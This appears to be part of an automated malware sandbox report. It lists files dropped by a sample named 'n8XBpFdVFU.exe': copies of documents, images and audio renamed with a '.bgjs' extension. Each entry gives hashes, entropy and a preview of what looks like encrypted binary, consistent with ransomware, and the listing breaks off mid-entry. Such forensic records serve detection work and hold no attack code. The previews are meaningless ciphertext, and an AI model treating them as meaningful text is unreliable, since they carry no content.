Encrypted:	false
SSDEEP:	24:Uk712X/LcXJaIHWCaeNR27kzOUbOwUX+cv7+C/kXEaebAkFHjam8RH6QtjUbD:z2I5aOfaw2elOwpcT+T0aeMUalztj+D
MD5:	969983C47DAFCE928110FBF20505EFE6
SHA1:	692D16006721E0D276A82856E00C9C0EDE63C124
SHA-256:	B6F27F40213EB7854C32D40521AE20B75C678D4F7C06D52E5FD8849432278477
SHA-512:	5810EE89B5D9BEC08CB0E189500456065536BD4475C3574CC642490D296FD925633B68DD9E9A119ABDD75F8624B6E33E7EF285190A7092BCE534AD98600C70CB
Malicious:	false
Preview:	HYGZT5..A...L.W=..70.........rT.L...A.......c.f.......E...e.k...%.3.'.:...M4...+Of.+...5......$.^......i.z_.....<..\|...~.L....m...u.i.M.m..H.\|.....5-.&.oQ[..A..q....;.W.u.-^....hk....N.cz.b..7.:..WN...Qp.k..j,~.[B.....~.2^....8\|.L..r..\.=....f.-.....6...i...+...u&..T:.3}b.i..w.V!..y.=X...o...H.k...NN=..`...;.,..d...JFj/..X).e....6.....P.{......0..OU4n.H6..&.n.Z....5lC\l....}.v..p:..........x..G.........!..TF.P.......D.....B#....m.+.3qdp5..@.....>..!X{."D..>.J.\...\|.S?.)..$.......cCF..[.>.lI.;...Q..4i...&,-..b..'Q;~..I#.$D.......d.e.,...YS..j.il......C%....c. E.....uLGQ....9tV.tA.....o...s.>....@r.Dg....:......T\|Z9C.q}...a..W.O......%.&x.{.....@hP8^...o.j........rI...3V.(.b......@......Q.W..Q ....#..b.k.o...mac....`.R.4..iht.G<..{-..a...L.F.~.'._. s.VW....[.s...p._..[e.,k9I.6.Kb.2W<..K......."D.i..;..g.-.........DdP.{..W...M......P...`.T^.7..?.:..9.cgC\;...-.9H..s...?......k.H...`..]....{..^...._..m..6.Z.bS.....r0..XoFp.fj..n.O..~P

C:\Users\user\Application Data\Microsoft\Windows\Recent\JDDHMPCDUJ.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850347912529446
Encrypted:	false
SSDEEP:	24:SyBWeBz9YOEXauSAZfqSWv87clyjC7ktqxsS/7tpIOwodzKd3JHbD:/BWeBuOEKljbv8wlkAHhDud3hD
MD5:	4081A1B685E2145F959BB7D3A34DE2EF
SHA1:	E485E3F641BA3156B499E69B91B99074FA544CE1
SHA-256:	EAE7F86869B7425A84DD82E022869F61C21C35D3102A90DE5F6568643F696057
SHA-512:	1ECDB029CF924D78B3D1C7892C6DE4273AC559BEA0808544FB9BF424EC4C8F6761679019A1AA5B07495D4BA170EBC99229BB095F2083E188FA34D72CEB76F647
Malicious:	false
Preview:	JDDHM.n...9~.MK>.}...,..p....]=f.....RSO8.!.e,y.....\|...QF/@...$]...\....k.....F...s.@7..2.../..%Tu...<O...&%.......0....I...._.1x...].<.<..Y`9[.K.............~.nX.^.LH..q3..$..Z .D...(K.).t;..2..\+)s.zj......N...d...q.v....z6.S...wkM<.....F...!...3A...F.kv..K.)h.J....b....X..v...yW(..4o........-.@.][.....i%.0.........R.:..v.JW#..6b..Fb.'...=-g....Z....]b.z....(.....r.O8.b.V....0..pJxTW..Kwl........H)..a.,.u.VP5...nU...!..`.n$Sl.N..T...k.)~..\|.p....9.9.0cp.I..10.........?...ZK.u..B...l.N[Gr.......Rk.L.3].......F..s_..X.$....Jx...E....Ce."3.bh.:...'j...{>).Y#$,y.$...;..f....^.../.T.z.N..3~.=~....L=a.hR.M.1`.g.[.z...X.N.e...@..TA.V...C..8!.6.';+.1....U.+.L>.@q..........td...q.,2`...I.0..+..?.._..W...8.{Z...oi.....].& HX.7e..p.vwZ+w.g.......f........#.......y....._[.....HJ....;P..%\..."8!...+.D;F....\|.....x........dc...t..Y..p.....<sd0..4x..&.....C1...8.I...=.8Zh..*+...u.b..l....`..%Lz..t[.....\|C<[t.;...e.8Z....y..%...F^+.u.K

C:\Users\user\Application Data\Microsoft\Windows\Recent\JDDHMPCDUJ.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850824019769183
Encrypted:	false
SSDEEP:	24:PI1rjHcMUA6+P9BElhu1aDvBogS7cuqqTML2J2vna6/u4Z9dDlb4f29w5l6rP33y:P87cq6+clY0bAY7rLgo3u4ZHDVelwPKD
MD5:	34420844EC05CFD246FBED4D85DED70B
SHA1:	1A4DE945F7E214EFAB31A6056E3AD49A642B2066
SHA-256:	8F3F4087169CCAFA86C7464CF013FCEC9A0AB8072D4F07CAC7330EE186808686
SHA-512:	46076748B2E6A527F090AF8ABFDE574F432473EFE82169B31A7C63E7C34DA5CF182A260D938B9C6EBB415DF5EEA43E662130FF819AC46634C4A7FC3FDC8229D5
Malicious:	false
Preview:	JDDHM.y.._GB.S./m........$.....L9..E;%..4...`m5........c...ao.v..(.............B.R..U.v......Je..b'...k...J.VM.~\B..J...l....R..Me.2.....a,~.....Zt.A.k...c1.HQ...T.#NQ.!f....V.......&;l....nHaPs.A.{W...._.$"...Y.d?........v...x....r.v.fe....B.7....:Vb.e.....v.E...f..1...q"b..w..Q~.Ik..x..V1...e..D{.......U....zQw...o..a..k.#&Q..bF.t./\|.mfd.wO...6..P[..C.ONk..... ...W....]&..<.n..P..CD..m...pD.......VZm..yt.%.v.n.......X..p;A..6^.!^.....L..LH)\|..oNj@....i.dhT]...l.nBk.E...'.A....m..EW,g....f_....%...M..5....L.....V..\|xa..UUZ5 .....3N.zay..x...IY.s.Y4H.c^\|D..@l9...q....s.8.....z.... ..x..+.}.).\|._......./..."`....s...........QP..`.iZ2..."....5.\.m..U.n..F:K....F.^..5Z..,f.&..XC...,.\|H.6X{..Zli.s....y.!}.Vg..Q.c#=..._.Z!..`.{....B.........~.Wn..=...:#..q..k8...nx.IM.:...Q[.8nC&..p5;.......!R...P.k;....2......)SM..(Q..._...kC..b.Yn~nV......`....}.>]/.[ .._..).D..A.j)&f[EXO2U...i.7..\|..I1..].M/.:S...n.-.u~..\|.......f..5....bx..M..IA..%..vb........

C:\Users\user\Application Data\Microsoft\Windows\Recent\JDDHMPCDUJ.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861568070949398
Encrypted:	false
SSDEEP:	24:B0VF1w4MZhnF5pYaA5FPKvgCPGrZo/4PsUzAZK+MSa0k0d3/0dVtSJUwtefbD:mVF1VUhF5pTA5A7GrW/4EUzwKDS/1d38
MD5:	7700A84348AECDEC1269F0CBC002F813
SHA1:	747A3E4DB60D174F7CF25BD1152F90D5A8C7C3C2
SHA-256:	EFF4C7C88BB66803C6B5D4AC1F2A325F397B6C50326B1DCDCE0475A112FCFE94
SHA-512:	EA7E6AB069A37E352263C4B5E1B24BE07187A34F62087EE40D3846B620054B9A046969449179CC8B7D3E883904BE0E7ED8193F51537EC2932358F7BEA08CCC41
Malicious:	false
Preview:	JDDHM.j....R4.....N ..Y.D\|....-.8..6...3..&..G....}......}U.........Av?...!M..C.....DY.,.....LfpwQ....27_..f&x........].....{m.d..Ee.D....o..i#.;%...E....o....l...0...............B2..1....E".10..d..3.p..s&..Vj...}!Fp...\....#i:..."...V.L.#~...]..`'R..nD.;../.........+....8.o....~.b%u.X.=.U.......T.J.I.C;.../..m..j&.65.u..a/..XN.....:..g....)eC3.q....I].S...9...U..1@....$.DS..".Z...+...w.b\A...k."..........8.x$.v.`.X......j.=...a..SW......[@..l...X3....w.w........>'..\|..#.A.......i.....1D.'u.Ns..5.:..N...u....`.g:..Q..t.Bm.puV..+....z..cAf..S..".L7.4.=.o......E.M./.6"......(>......k{...!M.Pu0d.).G..?.xq>.L. .a...D.8...........7...e.N..tI..'nJ..tX!..........3...Pa....rYz:wC....-.T.\|.6.p...ka........zoVy.......A..%..........vR.HCDp.[..;...I..$5.:hO.3.Q!.CY......g`.&...._.G^q.....z...]c..f'....F&:..-O.r...c...JQb[..H$w...V..[../P.{2V...sl.........%$6.r..8.......u.1.J.N~U.R..kO.P..c0..#.+Pwg......T-..`.M.....{=h... ..?q..v....g..{....-.-n.GZ.

C:\Users\user\Application Data\Microsoft\Windows\Recent\JQADJOBBUH.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856544777761117
Encrypted:	false
SSDEEP:	24:YiX662p35Pxhy1kUgqndV6vKr4dvNsKnTTUmiH9PXW/DeV0seTyD+NMCTIJCSbD:p/M35ryGqnMy4d1jM9e7nspD+NMVCAD
MD5:	42B6055243B0A6331D52EA384B17DA42
SHA1:	F2BF81F38E83501E98FEE93B59D98F9F4700005B
SHA-256:	CB883230E7F18E4C2A1A59CBC7335761196A1FF48EC3B787D593A87EE8434A55
SHA-512:	D2C933FC06D192592EDB8400510583B6721731F3E4F0BDB539736134863649E8AFBF06ACC24431C687DFB568DF05BE529BAEA67D3E03302AA1A5DFB8625C6E32
Malicious:	false
Preview:	JQADJ...6.#.vz.rl.... .....I.......`<./.h/\|C]s.s.....S...\|.~...86.k.l..8\.".VSN...$..U.m...v...w..*..Y=.Y..~.8:x .w......,...B:{..e...........1<.&'.P.....j.C.r..X.t._..t`.K.I..W..zs.,.A...D....L..h.3!R.l:..V....<.1..."..!`.....Eae..Wd..-..e.)+......./..4L..r.N<ih...P.o..v.....S....:...@L.@<.>....n.S.jtH}.Z.....C....2.Mpl........a..@.K.......I...l...aM..{..w....T...;....)..o.0..:.....:.ttgQ..) z<..r...("..#z....4.............%(m...TS.6....2k;.._5.uF-.........._.>..KZ.a5.,M.............&././\|.xi..R.>%..../.%..S..M..k/LY.y.:.n....o.\U..N..XYD.5./m+X..r".#....Yd../0 2...8;.....Z..b7r........z@Y1.bg#Em.m.:...l.&AY....#...,F.K6y-..R.....Ap.s.F..0.........2@.O5%.S....l....?.E..{..Z.F...j:X.L.E......e=U..%.f(. ....F.<@.......8.........#.t.)Sn....S..m.<x>T&.....3....[...a...'l.5!.4.y{..U.FF..U......WE$....[.8....z..]...+G5pz\1...%.......6.%..u.k...!=uxOV].'{..0i."..9r.......m....)....!..r..u.G...^.$.....v.[NN..].[.3/..R.. 7U.,.?.>...IC.

C:\Users\user\Application Data\Microsoft\Windows\Recent\KATAXZVCPS.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838739005008995
Encrypted:	false
SSDEEP:	24:xkuBuQ5KObP7dlBiTWYbinkJ2KjVTCANOEDGvgq9K4uyi2pBbD:xku8EHtPPnkJSAtqz9K4umpRD
MD5:	2A8A0F4847A0147CE30FEC2B884F7907
SHA1:	9B1C231E2F5ACF45F4F5531D047B011C2944D2B3
SHA-256:	B8458AAD314D44098091FBE11F1716CFABA9E2D922AF9B5BEF8F115231F111F4
SHA-512:	0D384901E22F6C6F60A618737201CB647BC60F560DF9E5BCD38F7B19ACA0A9D5FF2584BB8B7ED5C4AD56537EE608889FAA753ADA2ABF749AA7B6AF06417F5504
Malicious:	false
Preview:	KATAX..]..t..S..an......<...s..fv.D^W.`A .9..}>.}.....MX.......{..#...1...4..P.}U.;....b..".......I..d....v..7..\|3..r.."...b....$c...j...F..3.g... ......F.........E..c..(.,...!.x).,......... ...x..(.h....,.\|....&v[..&U.x.8.h..v.x.....hu5.$...\....j^.(4F.0S.@....o5.F... 6.../X...9..y.t.".#...;.4.v...+..<.BB.H....'.u.',r.. ..SI...o.c.N.........t.R.yf...'@...@...0.....5....+hF.....8...Ii0.".#..bx..nf..`.~..-s..`+~..3..}K....I...h....n......v..../.j..6.VEq..L.....e..\.04;<.....gI. .O4D.c...i...O.F.<.h..1..\|...f........HP.f..q.8...Vi.7....#s..r..M.xvI..o.K&F....X.......^$...1!.r.w.<...0q_...Y.@.uv..yq..........R.3'...7.2}..B...8..%..ar..t^.....MO.j...B..x...{..U.(....d.. ...0......K..^.(./5.....2.{...l.LF]xm2..q...a......fa.Z...B.}-e.>....$.......mZ;...6.z..}....5...G.=....e;Y.{qTG+...X.. ?.f...6.....;juJ..]..0.*...G7.J....q9..CE...L..+B...[....L'...&.Y.f6.K.?..\.L<....]..5!.%..B...c2...N.$.G..'..d..'jJ.x...B..}r..$ojw.K..9.......~.

C:\Users\user\Application Data\Microsoft\Windows\Recent\KATAXZVCPS.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852790882881261
Encrypted:	false
SSDEEP:	24:t6y8L4Zi6YUDtRrtkGsrV1uw9IFSeYVxadl2SZNBVSW7png+upWq+JzT3oesbD:f8L40OZUdFeYV0v3Bdpng+uUq2kemD
MD5:	BE3E5677881DA9DAAF396ED87CE31C62
SHA1:	BA9583D510B617D2B2932366DB42C092B18E9DDA
SHA-256:	8F0D7FA842C351F4CA38DE68A366B414294F4D28E0C000F060677E12A1A1465B
SHA-512:	72BE79A506A7F5BE93D3E38EC9C7DA202FDF7EFFAEC960CD700D580CDD1DE98AB52E75606A1DC052C3E21FF2C70DD2FC7FDD9BD9445C5B9BE00157CC6CCF66E0
Malicious:	false
Preview:	KATAX.....a.q.......nM.@..Tp.R..VpK..o.I?.M...bQ.xG......2.E..#.....q....a'A.b.".&f....0...^.....[f.e....AV......y.F.0......{.q.. ..r..........._e..;........i..W.[.1....t....K.I...Q$.4.K..`...8f_V"..';....i..X,.=.(......)'mf{...o~..'....n..P.e.!.?T[.f.8.J6l......Q.6].W'.7<Y..ph..`.....t..z2...<.G..6\....X..J5%u>-....?'.$4....ji...9..<!.:.xC....3;+.t...]..C..wwd,o.-g.{S..&.gP....)...I6g..=.0Y.zP..A..m..g..{B{=..T...i..-R1!.(.E.......7..[.q(w.t.r..M@.-.!@..Y...W....G(k.=.c.3......<.kA...l....&.3~.A$..L..tQ.9..:.fF.7..8..V.j...-.m.......=...]..wA...H..hQ....Naj...\.......U....oL.d.'O..=K....n%;&.M]...\...M.Pu...a....6.&.t...t.U.W.9.k.+'7@.b.7.$\|~..9..4%.S..:....`.}v ..0...:.}.......zR..v......,..9U...:..,.3.u.)..n...@[.'.....^;3@..D/.......B .<...n/..>cc..&.c....WA.9.........I...;I.b\|....9.k#fr:.1....\#....Mzz5;.o..s...*..P....G.f\|#.......y.G:.J...C.F.a..Igi.u@...."..Y_.u....W.+U....T:..KVz159RC!....../.......5+.s../..K a2.9...g>.....o.Z.

C:\Users\user\Application Data\Microsoft\Windows\Recent\KATAXZVCPS.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86722818954641
Encrypted:	false
SSDEEP:	24:092i7ieFxu8VP5+qwTYbKyR3SgopTjysohDE9ss2RPGdc72Eg3DwedF6bD:Pi7TVcqsydnuTjysolE9sfRPIKDedF4D
MD5:	D7D56EAA96420BC925D5752C9A62D306
SHA1:	007B82DFB151AE3B21E548AE949C952E71FD2A54
SHA-256:	D31BBA5C3350767FC13AC18A7782C7858B610360223BADD51D98D4497EF13965
SHA-512:	EC974EC24FB66AE436544A964EFBE5353AA0A6C187E87B605AF2BC798C79F2450E7904AA3106BD1800C985E72CA938B2288F9A67260AC91939FB7F7247C8499F
Malicious:	false
Preview:	KATAX.........O..^.}.7..?........Q.t#k......$.6`R.y.,I.)..>k.....j.........L...E....Kw....;........<......&...D......1..:.M`.{{Vs.b....z.pJ......I..`.I..Gh.DQ.E.T..O..B..M...Y.......?.b..6.....?.[i...\..U.Ci...[c..X!3....'...'...8.U......_....-76A.......VxuI?...nQ....T)..m-..L_....(.g..,7.T...D....M.......)..D...........i.....Vyr..j..`.C.E.+.\n..Q..(..\A....}...J..2..5Y.Hg,...s......rg>..=0V.......\|1..9F.....V.pv..2JQ.......{..\|!.N._....Pw~....<...x.F...v.....+.@$.ma.....D^.%B).......V....U.g.r.m....5...Y.[.p..G:..."..\|.._"..{=W. ._...7..~..P.X.P.l8...A\|6OV...lQj....._......@.Ev..r./P.>..m;.:W..=..&..a.t.. ....dun.M.Y...T..V..8.I.....IG..&...8....7.P.[.R.z)}.]...H........E=.J.@l7A.H]. .?.+$............h.3.n.$...g....[......].....I.S.....\#..&~.7....v.!>.Z=...j....@."N..6C.9.V..b`...4C..nR+.B.^J.....2..0.g.:p....7......=.q....Q<..z...9.g.....C..^..$......r..qh...c....}..a...).:......m.do..uCX4e#.3.x.H.:...tP2.0.O.........1......?.D.\|.

C:\Users\user\Application Data\Microsoft\Windows\Recent\LHEPQPGEWF.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860055005197851
Encrypted:	false
SSDEEP:	24:9ZzbpJf1OCg1MCSgcosK/Fcu2+dFRoByWrWixLB1x15pYPQfUM/mz9ga84lyCDbD:9xHgqgcW/F4AFaBy615qYfUMYma8eyMD
MD5:	FD606C100044B7AE09EF0747CD02D2D8
SHA1:	BE5F7BF3537F2EA42EFF4F6B6930327DDFEE6FA7
SHA-256:	0C894DE2F1E6CC373842273D2796F923485D369BCF713E91AE98147328365693
SHA-512:	2A5049CF385D7FC1953F570E00720BC0FFE129C0A1D18C6212A78356D1E953CABF08A535AA044E0CC31BCEF2AEB0C9AB9364CB76D4D36AB9E5D378EBB932F8ED
Malicious:	false
Preview:	LHEPQ..aC9..\..,......k..z._.]....I..J..i...J.So.J..n9./...s.T9.Nv.....=E.M.G..Q..6.Q.[y.9c/._..%fey.M.%.....T... .'^..SI....y...c.N.#,.&.....W\......}.Xhw....vNl...l.'v%..lN3...<(N..(......./."....o}.RH.".1U_:.?C.....@-.=.f.....l/6&#Qm....AKQ..f-l.R1wH9..P...........jw...p..0i^.c.`...Q.....s.8.,. k..A.."3s..+7.X.. r.../..E.#.5......P...k.;..6z.. ....<..s.....(.....N......Mot.LH.%....W>.t(.j^.&..C-.P.......k#......9.`...t...9.......p.Zm..@...F<.......... V\|..T....\|;..z.j.L..ab.".Tx^..w..x...1....V8......B....3.i..K.. SNjh.y...a.O3h......L.w.........m.v".F...+.yG.]...2..."y...#....^.1.@..f.U.bYyS...<.t).Lo.uT.a...}.\g.=..I....Gt1....W.6....[..."...V..... .U....(..2.=...G>..#.......!V.....q..By&........Xp...+..]........~........#\|t..L..n.z(...R7..u.x.....ig..F...>z-........^._.@..c...+'.5...u.b=..t..q..sa`...V.9R......r..C.h"..S....G..}i...Yu..;N.?........uq..;.....-..p.B.Yk1.....HWc..d.#...7dC..W.\.'mj$....$.7"^*.P..H.v.b.6Y/

C:\Users\user\Application Data\Microsoft\Windows\Recent\LTKMYBSEYZ.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835979684509719
Encrypted:	false
SSDEEP:	24:+rotf6zaZKVUZ4dNxZxdX1BidLam1ZuswGjV2QSbz1zK2+ddKLrU8G3x3DHKtMDX:GDUZ4dNxZXkLamdjV2Q9aGB3DHyaD
MD5:	6BC4E8F7CB5FCA08A926D2C763B138AA
SHA1:	B712D3E72062434D7A46942A006EBE898CFF8E1B
SHA-256:	8D722EECE98DE8A5F359BCA52868D584232DC5D1ED1EF4CCA7DCEB6B9C04F2EF
SHA-512:	6B32C5D5E0A9D1220E6550E42FC75D17C7360123125B10A5EC254B525CCC5B6B0C9F98BC93B17925DB400D4D78E5349703D4AC72FF3F555BF08D4B9E2931D65D
Malicious:	false
Preview:	LTKMY.z....-h.^M.....&..J.sLjr Z..17g.......:..ZW.s.).A..g."x.K.)].X...t......0...P.+m..%.tG...-..L..v(Z.l....u6.../.@.k....`.p.S..Na....k......b.n..D..$..<.(..bC.U.......\.h...........0(.c./.(.?.%~....L8.l:no_....%.....p.,L..M...6-<....=X...%...<...O.P....0mX.AZ...j.......X.<O.1..w.{......om.fsX...).r.Vg..e....Z.u.% O.^..a......b...%L.....Y...Q.>....!A.C.S..?.1....._W.BB...-.Z.nP......).P..g..U.9dn.I.....+.c?...6.............h..5b ...#b...a#\.~)(L3y..SIM..j.F...~X.r.A....l._.........a...4k..?.4........e,....t<.!vw.A.O..."...`o...U.'..~n.U..:PX...H...=m..n>9...h.:~.U`:.A.B.Z..7.z....u4B.~.....A;.....E.H.x.W].4_...Xa..>7...}i...M..[.MXE. .\|.....n...Z..f.....jc!F....o.....^.\.xbN.@[1......I...0.T@..H..wL.c..l.....Z...3......>.m..#..z...c.3..]...E_....!..1.Y.Zi..r...?......~.&...S.p..0..h......9g.n...u%........-.s.....=...J.E.L..5....ld..r.h`.E g.3..ih..:.Q...?..g.!7l.`.*.w;.k..E.X..~=.QU..,.jY/M.YM...3\|..-......y..G..g.m....?..&..].d.U.a..

C:\Users\user\Application Data\Microsoft\Windows\Recent\LTKMYBSEYZ.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8257250922697965
Encrypted:	false
SSDEEP:	24:Br3kz80stvI2fakEF0Sum1FvukYMghC6hwLSP6w4tGC7Gmke3AznZsEv1NoQiMot:Br0zYQe6F0SuQRukYDcDWSHtGCSzewz4
MD5:	E1D4B3103746006862E173E5219F4825
SHA1:	A297426F4913E8D8D84B180DAB66EE22F8EDCBA3
SHA-256:	DF055E3E415977973D3DB17BE0999371249145A0757A2E04FDB8FCA656E472DE
SHA-512:	711D6CC8E4272B98C96C3A68A3D6C40063C200AB9B66D7A07FF4EC45981ED4562A2C3ECA7AC7A4914B6E4F7A46601B84E2E4C03B0F710005EDFFC6736A85BA3C
Malicious:	false
Preview:	LTKMY..=.....;;.w1`.#..[....U..)....}...&.7.....}^......B..F..%......;.GWYk.........h.p..I..y......sjc.......j7.+.].].;<7&.~qk..D...?]:...6.....%.m..J..O....)Wyd.H..j=....2{..0......8h.q....iA!d.>...l.\|.....a...{........?I."J).g...fm.E.2.......s.\s.I.va.IA..1UO.$[.?g.[..m._Lg.....l..j.K..uo..E..l.._..L3.n i$..Y2.g........\|".H.\..gxe-\|..w.....m.6..5...)z)..#....A\..N(.z..{..W...L3BG....(.......E..r.j...J.+.&.V9.).....i..C..X..h..;..\|..^..C.....$;.......8&C..n..0.u.HTYdh.bc....lJ...B....v.._.....s.]P..B....w.6...u...X.7....8D..r^.m.w.....m....7:~u.*..6..P...G...c._.+..P..s...l.6..m.....E.,.."...aZ.._..).X+.I'. Y...""p..J}...Q.,.......D.6...........i.i:>r}...A...=...y5...$.......}.>+..S.E......1\|.?q.c.v.[...v....}..Iu.l.a.h.U$d....7.riA.S.lm.. ..}....0I..0.1.k1....j..V.s..c.......O..t...=.......givh.....,..hU.....`.v....Z.Q..dz....Fd.Y.Y0...r........S...=..e..k.p.Z...}.g.Bi..=..ZSB]4.......-...y.......Y.%/.k..Dp.33.........)....

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWTVCDUMOB.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833229520045924
Encrypted:	false
SSDEEP:	24:Qh0gjr84tbqvX84KlcHAaUBOqcOF6znJk5Lw37kyA7xvbD:cdBmZUwPOFZ5ikr7xzD
MD5:	739C5F3F4D9126C2C0DAE0E779F62CFF
SHA1:	00ADD91F15DC0D7067E5145CE490698DC43A20A9
SHA-256:	BD65612086199990CC49801DE7C065112EFD9E23B172EB282A3745B434A4B765
SHA-512:	FCA3282A73CDD9508AD4DA5563AEA2AEDF577B77A72A10EEC1989929815CCEF4421E4CBAD74A1EA9DCBF928B7B0E04B145EF22373DE46FDA2D171683BF11CAB0
Malicious:	false
Preview:	NWTVC3Lu...j..AK.%.7..(......BX.Q.JK.S..C;.?.;..539.....}nB...C...M.,"k.7...~..V.7.P.:\|..0..y....3..C....S.Q........de......r...},y.....7.......[<.'..[.P.Cz..U.S...[..5.t.S .{..ez....w.dL.Y......%.#.in.I..D}.....x'#u.....i........3.....?.[..w.J_.}.e.v..v.D...JZ..P.[.H9.{PC.......0hf....6..E...(.....<o.'.._.....cz...c._@..?..6-8d.#.o.r.4..[.G...=..k..$.......D.x..............4........p5Z...?...."..Cb....I-.e...,.t..."g. ...;B7.8.-.g.c.(...glk. .Q.:..w.4......Lxm...%.04......\..M..[ .;:......4....w.w.w..W./.9..G.7....Cb......>$^^.'/..d.,\|!T..).{..!->I......t....x.....H`...e...j.p..a......N...Mr..&...yJ...w.m..8...k(...y."`..1..7...Zy3E.\0. .].%..R.1'8.l.Y..?..p~... ...mE...tu<1.d..9..0..Gz........%..h...j.....g..6..\|.....)..X&G..8...b..6V.S.}.(.......`.A..G..\....... ....r.~.t....j.V.3.Ja...tN....W.i`k.ee............~.o.........m.T.:V ....?\|a...C..l....U.}.!..a4..iq.&f.v..%x.k.....q......:).D.*.6b......K.s.............<...!7..V.<.IB6

C:\Users\user\Application Data\Microsoft\Windows\Recent\ONBQCLYSPU.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841741812266318
Encrypted:	false
SSDEEP:	24:vwBE5dkNbZgjxaE2XWuCZHitCUstCOmYycEJjjNjCJ62Mo6QSzH7HbD:vP5cZgQE2XWuCZHiMtCOWJjZS/QXzb7D
MD5:	B0A7DE3AED05EC6BA1E8713DAF058B8F
SHA1:	673402D8F69A8648CB311E4E77E98139C517B9CA
SHA-256:	12559588D7186A61CADBF1A4660C02F46FE1CCB2E695B330E12104366C025B0C
SHA-512:	ED04C2FACD0C8DC56F5F6475F757A127DA5E42E2BC15701CF07463EBCBBDD94C0C8806FFF5B70FB9B9673BA978BA9A8062CC9E6B8AD7552295F9E8A6EC3C9F12
Malicious:	false
Preview:	ONBQC.....QK.F`.....\|.U%....B..%l.@J.....u.{..S.....?.1..jm.H.nm.:.Z..o..;.g....O..(..[.%.....q...._.<...;Y..5.U...5B..w~....-.....h,].q@.GF.8k.Ae.%...L..Py.r(M..N.d...G.r-].%r..(......x,...r.0....hk.D..@..7M-..L.....}...{...#.Y.i....j.c....+.....w.<y.......8...]..J.]....`..b.....[..z..Q.......X9.Am.....r0T......!.tL6m.?.y`6."\|..D...T.;.V....l.SN..-.z....7P.O..s..G:..D..B.s8.DH,q..-...d.5....I...>L &.=.Z....b......iO..M......D......1U.R....Ht~..NcQ..1f..L-.......4...PY..Y?.B.tY. i.]q.N.D.5D....e.nu....JE.... D.....u...'H..Z........&{.\i.}.L.\|....hq.3...../.}.p.N..(.p..Z....J.(....-D..F+.....cf..f..S.9,Sc4.WZo.t.R@`.....Ga$.6...t..n....3.}..E..o....U....g^..R`......B..o.{...}...WZ..V.S...cD._.v.N....;.od...h..2.d[m..R......@\.Y...zrka../....WL..#_.v9\.X!C....B..........)...S.0..@........$........h..*,J.h..%...."~..........C.......k..p.o.6..f...f.r...rsV.^.....=.i..J.O..h...,>......:i3...k..G~..E...z..34t...Ka%Kc.(...V6...1..?<..

C:\Users\user\Application Data\Microsoft\Windows\Recent\ONBQCLYSPU.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842213163635249
Encrypted:	false
SSDEEP:	24:A3UD+m/vQB5ML2qLsuc6H6HxjmSR1l982YhC1w5OL9Mc7KAEfO7HVYNl8SsbD:iSuMLLsUEZjR1l9O+4O9KAEfO67DmD
MD5:	0AC13B97B355EBF6C42E55DF42484ACD
SHA1:	4D6DE0AEB383E07F83025E5413224198E6FC745F
SHA-256:	675D5EB940FBC8ED76A1700005CFF5877FB86527A2A435CCA03DE1BF04B9B3EB
SHA-512:	856D7B5F377F4D9C4607AED6B7379553E80F6E5D87D5DB5200044002BA08E86A41FD28A1A5695A97D7C73384B6D68B8C21384C89B75D977D47AB265FE965A19C
Malicious:	false
Preview:	ONBQC.6R./.+...p..&..Eg.@..^E.u..~...:.}.n..j...l..1zI...l...L..<.}....h..B...X.0...[%B..n..2.i...y"3.i..C...)......]x......v...^M(.Q..b] !.s..ooP.................4..F.<..e=..z....tn^u..f6...>>..%....t..y.D..Wu..h0R=.....IyKr#..[pN..;s...d[..&3],O.......-.....!.$...R..SJ......4.:...8M..w^....83\|!h..'....!Q.~.y#8}.7%l.S.5......L{o....z.\|..A.P...E.../..k.=....[]9...).c.0.u7k...z%.L.C3..j...l......,..:....m..,D2+.e..\|.q..k.X.....=D.....;....X"Q_.E.'...E:._..&2.XwVI.IC.....+..k`F..P.....oYoq.2$G...C.....T.C..\|..lA....o...6El......-.....d..I.a.....-<0s...2.JqXB......rt../...f$..wo.[.3.G...r..)...j.:.. ...mV.vA..2..]mN'...f.....".;.9v...\M.^.1.Vb.....Y....T...3O.U%A..t.w\.......7.2...t:.b..X......0..j.L..P.U..u.....9.u4....?...D....Dg..j[.._.........#:>...@6.o89...)..z.*.B..S...f.~...Z.s.}e......B'O....a..'.3QZ._M#.......5]...'.(....W.j..9..^......yR.g..A.NH.x.........-^BF1c2\...1....'.....3B..z...n..F.2F.h....Dw...p..g.

C:\Users\user\Application Data\Microsoft\Windows\Recent\PALRGUCVEH.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
